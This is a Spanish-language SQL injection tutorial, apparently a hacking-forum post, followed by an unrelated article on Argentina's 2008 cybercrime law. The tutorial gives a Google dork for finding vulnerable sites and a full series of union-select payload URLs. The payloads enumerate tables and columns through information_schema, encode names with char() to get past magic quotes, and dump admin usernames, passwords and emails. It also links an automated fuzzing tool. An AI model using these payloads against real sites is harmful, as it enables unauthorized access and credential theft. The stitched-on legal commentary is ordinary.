Mysql Inyexion by n0body

Bueno, aqui me lanzo con mi primer articulo sobre inyeccion sql, en el cual abordare desde el testeo de la vulnerabilidad hasta la obtencion de toda la

informacion de la base de datos, tambien mostrare los errores comunes y como solucionarlos para obtener el resultado esperado.

Lo primero es buscar un sitio vulnerable, no seremos muy selectivos con el objetivo ya que es solo para aprender la tecnica.


====================================================
Google Dork : inurl:".php?id=" Powered by www.dowgroup.com
====================================================

Para este caso utilizaremos este dork entregado por P47r1ck en el foro de darkc0de.com, desconozco si fue el quien encontro el bug pero no viene al caso de

este tuto. Aprovecho de paso de mandarle saludos (Regards P47r1ck)
Si ingresamos ese dork apareceran una gran cantidad de sitios vulnerables incluyendo el de dowgroup.com pero ud elijan el que mas les acomode, para este

ejemplo utilizaremos:

http://vuln.site/division.php?id=


vamos a testear si es vulnerable visitandolo e inyectandole algo para ver como responde...

http://vuln.site/division.php?id=9'

y nos da algo como...

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/vuln.site/public_html/division.php on line 10

Entonces estamos ok.

Comenzamos con lo tipico...ver el numero de columnas..

http://vuln.site/division.php?id=-1+union+select+1 error...
http://vuln.site/division.php?id=-1+union+select+1,2 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3,4

no aparece error entonces ya podemos comenzar a efectuar consultas mas robustas...

http://vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),version(),user(),database(),now()),3,4--

explicare un poco esta consulta si se fijan reemplaze en el numero 2 (pudo haber sido cualquiera de los 4 numeros)por:

concat_ws(char(58),version(),user(),database(),now())

concat_ws() funcion que permite concatenar cadenas pero se le pasa como parametro el caracter para separar estas cadenas concatenadas, en este caso use como
separador los dos puntos(:) o char(58).
Tambien se puede utilizar la funcion concat() pero es cuestion de gustos...

version()= entrega la version del motor de base de datos.
user() = esta claro no??
database()= el nombre de la base de datos.
now()= la fecha actual.

La salida a esta consulta deberia verse como esta:

5.0.45-community:dummy_user1@r19p.nsvulnwebhost.com.ar:vuln_db1:2008-06-28 05:01:30

Seguimos... ahora que tenemos el nombre de la base de datos debemos encontrar los nombres de las tablas y luego el de las columnas hasta obtener el valor de

los campos...


Manos a la obra se viene lo mas duro...

Obtencion de nombre de tablas:

Para obtener el nombre de las tablas usaremos la funcion information_schema.tables, la cual con el nombre de la base de datos mas la funcion limit podremos
obtener todos los nombres de las tablas.
Se utiliza de la siguiente manera...


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema='vuln_db1'+limit+0,1--

Analizemos:


donde hiba el numero 2 coloque table_name y al final de los numeros de las columnas agregue:

+from+information_schema.tables (funcion que nos entrega el nombre de la tabla)
+where+table_schema='vuln_db1' que es la base de datos
+limit+0,1-- que es la funcion que me permitira ir recorriendo la base de datos para obtener todos los nombres de las tablas...

Pero resulta que esta consulta esta bien estructurada y escrita pero NO FUNCIONA...lo que pasa es que el servidor este tenia el Magic_quote: ON, por lo tuve
que transformar el nombre de la base de datos a caracteres ascii: y me quedo asi:

vuln_db1 = char(118,117,108,110,95,100,98,49)

Reemplace en la consulta anterior por lo que me quedo asi:


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+0,1--


y bueno la respuesta es:

admin (he aqui el nombre de la primera tabla de la base de datos), ahora debemos modificar el valor de la funcion limit para ir obteniendo las demas tablas.


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+1,1--

division


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+2,1--

dynamic_pages


y asi hasta que NO nos entregue mas datos.

Ahora que tenemos el nombre de las tablas obtendremos el nombre de las columnas de dicha tabla y nos valdremos de la funcion:
information_schema.columns.

La consulta nos quedaria mas menos asi:



http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+0,1--


que cambio con respecto a la consulta anterior??

que donde hiba table_name colocamos ahora column_name y la funcion information_schema.table paso a ser information_schema.columns ademas se agrego un and mas

el nombre de la tabla en ascii(admin=char(97,100,109,105,110).
El procedimiento sera el mismo iremos modificando el valor de limit hasta que no nos entregue resultados...


Que salida nos da:

admin_id (primera columna de tabla admin)

luego modificamos el limit


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+1,1--

user_name


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+2,1--

Password (esto se va poniendo interesante jejeje)


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+3,1--


email

y luego no entrego mas columnas por lo que concluimos que se acabaron los datos de esa tabla. El procedimiento para obtener los datos de las otras tablas es

igual solo se debe pasar el nombre de la tabla a ascii y reemplazarce en el campo table_schema.

Ahora para cumplir con lo prometido leeremos desde la tabla admin el admin_id, user_name, Password y el email...


http://www.vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),admin_id,user_name,password,email),3,4+from+admin--


y nos dara como resultado...


1:admin_vuln:yeyea:root@vuln.site

Y vuala asi es como se realiza una injeccion sql.

Espero haberles aclarado algo el panorama a todos aquellos que recien se inician, recuerden todo lo aqui expuesto es con fines meramente educativos y no me

hago responsable del daño que puedan causar con esta informacion.


Para pasar la cadena a valores ascii pueden utilizar la siguiente funcion en php:

$texto=$_POST['texto'];
if($submit)
{
$char="char(";
for($k=0; $k<=strlen($texto)-1; $k++)
{
$char.=ord($texto[$k]);
if ($k==strlen($texto)-1)
{
$char.=")";
}
else
{
$char.=",";
}
}
?>

la cual se envia desde un formulario mediante el metodo post... y la suben a algun server, o mas facil pueden utilizar el encoder programado por c1c4tr1z

en:http://www.new-bytes.net/encode/

Adjunto tambien un link de descarga de una aplicacion que realiza este trabajo en forma automatica...

http://darkc0de.com/others/schemafuzz.py



Saludos a c1c4tr1z,0zx,whk,p47r1ck and JosS.

atte,
n0b0dy

ley delitos informáticos argentina

La incorporación de los delitos informáticos al Código Penal argentino
26/06/2008
Tiempo promedio de lectura 7'49 minutos

Ley de delitos informáticos
Hace apenas un poquito más de dos semanas, más exactamente el 4 de Junio, fue sancionada la Ley 26.388 de Delitos Informáticos, incorporándose así Argentina a la lista de países que cuentan con regulación legal sobre esta importante cuestión.

La Ley 26.388 no es una ley especial, que regula este tipo de delitos en un cuerpo normativo separado del Código Penal (CP) con figuras propias y específicas, sino una ley que modifica, sustituye e incorpora figuras típicas a diversos artículos del CP actualmente en vigencia, con el objeto de regular las nuevas tecnologías como medios de comisión de delitos previstos en el CP.

Delitos informáticos penados y penas instituidas
A lo largo de su articulado tipifica, entre otros, los siguientes delitos informáticos:
• Pornografía infantil por Internet u otros medios electrónicos (art. 128 CP);
• Violación, apoderamiento y desvío de comunicación electrónica (art. 153, párrafo 1º CP);
• Intercepción o captación de comunicaciones electrónicas o telecomunicaciones (art. 153, párrafo 2º CP);
• Acceso a un sistema o dato informático (artículo 153 bis CP);
• Publicación de una comunicación electrónica (artículo 155 CP);
• Acceso a un banco de datos personales (artículo 157 bis, párrafo 1º CP);
• Revelación de información registrada en un banco de datos personales (artículo 157 bis, párrafo 2º CP);
• Inserción de datos falsos en un archivo de datos personales (artículo 157 bis, párrafo 2º CP; anteriormente regulado en el artículo 117 bis, párrafo 1º, incorporado por la Ley de Hábeas Data);
• Fraude informático (artículo 173, inciso 16 CP);
• Daño o sabotaje informático (artículos 183 y 184, incisos 5º y 6º CP).

Las penas establecidas son: a) prisión; b) inhabilitación (cuando el delito lo comete un funcionario público o el depositario de objetos destinados a servir de prueba); c) multa (ej. art. 155).

Delito concreto de daño informático. Interpretaciones
Puntualmente, destacamos el artículo 10 de la ley sancionada que dice: Incorpórase como segundo párrafo del artículo 183 del Código Penal, el siguiente:
“En la misma pena incurrirá el que alterare, destruyere o inutilizare datos, documentos, programas o sistemas informáticos; o vendiere, distribuyere, hiciere circular o introdujere en un sistema informático, cualquier programa destinado a causar daños”.

El motivo aludido para legislar en esta materia está claramente enunciado en el texto citado: el artículo 183 CP actualmente vigente, que tipifica el delito de daño en general, sólo es aplicable cuando la acción dañosa recae sobre un bien tangible, no cuando recae sobre un bien intangible, y tanto los datos como el software (programas) encuadran en esta última categoría. Según los Fundamentos del Proyecto de Ley la figura de daño del CP tal como está tipificada en el artículo 183 no es aplicable al daño informático.

Para tener mayor claridad sobre este punto, resulta conveniente transcribir el mencionado artículo 183, que dice lo siguiente: “Será reprimido con prisión de quince días a un año, el que destruyere, inutilizare, hiciere desaparecer o de cualquier modo dañare una cosa mueble o inmueble o un animal, total o parcialmente ajeno, siempre que el hecho no constituya otro delito más severamente penado”.

Lo mismo que en caso de la aplicación de la figura de estafa al fraude informático, lo correcto es afirmar, no que el artículo 183 CP no es aplicable al daño informático, sino que, tal como está redactado, no está claro que lo sea, y como en materia penal rige el principio de legalidad y la prohibición de la analogía, esa falta de claridad da lugar a interpretaciones encontradas. La jurisprudencia argentina se ha mostrado también en este punto vacilante, pronunciándose en algunos casos a favor de la aplicación de la figura, pero en la mayoría en contra de la aplicabilidad. Finalmente, resta decir que el texto original de la Cámara de Diputados sufrió una importante reforma en el Senado, sustituyéndose una redacción que podía llegar a dar pie a interpretaciones que afecten los intereses de las empresas de software.

El texto originalmente propuesto por la Cámara de Diputados establecía lo siguiente:
Incorpórase al artículo 183 del Código Penal de la Nación como segundo y tercero párrafos los siguientes:
"Se impondrá prisión de un mes a dos años, al que, por cualquier medio, destruyere en todo o en parte, borrare, alterare en forma temporal o permanente, o de cualquier manera impidiere la utilización de datos o programas, cualquiera sea el soporte en que estén contenidos durante un proceso de comunicación electrónica.
La misma pena se aplicará a quien vendiere, distribuyere o de cualquier manera hiciere circular o introdujere en un sistema informático, cualquier programa destinado a causar daños de los descriptos en el párrafo anterior, en los programas de computación o en los datos contenidos en cualquier tipo de sistema informático y de telecomunicaciones".

La redacción confusa del artículo propuesto daba pie a que pudiera interpretarse que el delito de daño informático se daría, entre otros supuestos, siempre que alguien, en virtud de la introducción de algún programa en un sistema informático o en otro programa, causara el daño consistente en impedir de cualquier manera la utilización de datos o programas, constituyéndose en una fuente potencial de conflictos para las empresas de software (que utilizan en sus productos los DRM) y contradiciendo el artículo 11 (“Las Partes Contratantes proporcionarán protección jurídica adecuada y recursos jurídicos efectivos contra la acción de eludir las medidas tecnológicas efectivas que sean utilizadas por los autores en relación con el ejercicio de sus derechos en virtud del presente Tratado o del Convenio de Berna y que, respecto de sus obras, restrinjan actos que no estén autorizados por los autores concernidos o permitidos por la Ley”) del Tratado de la OMPI sobre Derechos de Autor de 1996, vigente desde el 06/03/2002, y aprobado por Argentina en 1999.

En coincidencia con eso, es interesante lo que dice el Dictamen de Senadores, pero aludiendo, en este caso, al artículo 153:

El Dictamen de Comisiones de la Cámara de Senadores señala sobre el elemento normativo incorporado al tipo: “Con respecto al actual artículo 153 del Código Penal, última parte del primer párrafo (… suprimiere o desviare de su destino una correspondencia que no le esté dirigida) es razonable la propuesta de la Cámara de origen de incorporar no sólo la comunicación electrónica sino también la expresión ‘indebidamente’ en el tipo, para que no le queden dudas al intérprete respecto a requerir la finalidad dolosa del autor del delito, y evitar cualquier hermenéutica tendiente a considerar comprendidos en el tipo a quienes en procura de mejorar el servicio que prestan a sus usuarios, activan mecanismos de protección, tales como antivirus, filtros o algoritmos de desvío de correo electrónico para evitar lo que se conoce como spam, o la recepción de correos no deseados por sus clientes”.

Legislación internacional sobre delitos informáticos
Por otra parte, cabe señalar que, a nivel mundial, muchos países cuentan con legislación en materia de delitos informáticos, algunos incluso desde hace ya más de una década. A título ejemplificativo podemos mencionar los siguientes: Alemania (1986), USA (1986 y 1994), Austria (1987), Francia (1988), Inglaterra (1990), Italia (1993), Holanda (1993), España (1995) y el Consejo de Europa (Convención sobre el Cybercrimen de 2001).

También en Latinoamérica varios países han legislado este tipo de delitos, entre otros: Chile (Ley 19.223 de 1993), Bolivia (Ley 1.768 de 1997), Paraguay (reforma al CP en 1997), Perú (reforma al CP en 2000), Colombia (Ley 679 de 2001 sobre pornografía infantil en redes globales), Costa Rica (Leyes 8.131 y 8.148 de 2001), Venezuela (Ley Especial de 2001) y México (Código Penal Federal).

La importancia de la ley sancionada
La sanción de la Ley 26.388 constituye un gran avance en la materia; tal vez sea el acontecimiento del año para el derecho informático en Argentina. Sólo basta recordar, nuevamente, que en materia penal rigen los principios de legalidad (una acción no es delictiva si no está expresamente tipificada como tal por una ley, por más aberrante y dañosa que pueda llegar a ser) y, como consecuencia, la prohibición de la analogía (no se puede castigar una conducta no tipificada por su analogía con otra tipificada).

Es por ello que se hacía necesaria la sanción de una ley que tipificara con precisión las conductas delictivas llevadas a cabo mediante el empleo de la informática, llenando algunas lagunas normativas a través de la previsión de nuevas modalidades delictivas y nuevos bienes jurídicos a proteger. Sin embargo, la sanción de la mencionada ley no modifica sustancialmente el tema, al menos en lo que respecta a algunas conductas que ya habían sido encuadradas por la jurisprudencia argentina en los tipos previstos por el CP.

En síntesis, esta ley es producto de receptar cuestiones que han llegado a nuestros tribunales y que han sido ya resueltas, como así también de concretar compromisos internacionales asumidos por nuestro país. Algunos casos sometidos a la justicia penal han sido resueltos favorablemente a partir de la adopción de figuras penales existentes. A partir de ahora, personas físicas, empresas, instituciones, organismos públicos, etc., deberán tomar los recaudos necesarios para no ver comprometida su responsabilidad o imagen en la comisión de delitos sobre los que, hasta hoy, la jurisprudencia se había pronunciado, aunque no de manera unánime, pero que a partir de ahora podrán ser castigados en base a un claro fundamento legal.

Martín Carranza Torres y Horacio Bruera
Carranza Torres & Asociados
-Asesoramiento Legal en Tecnología-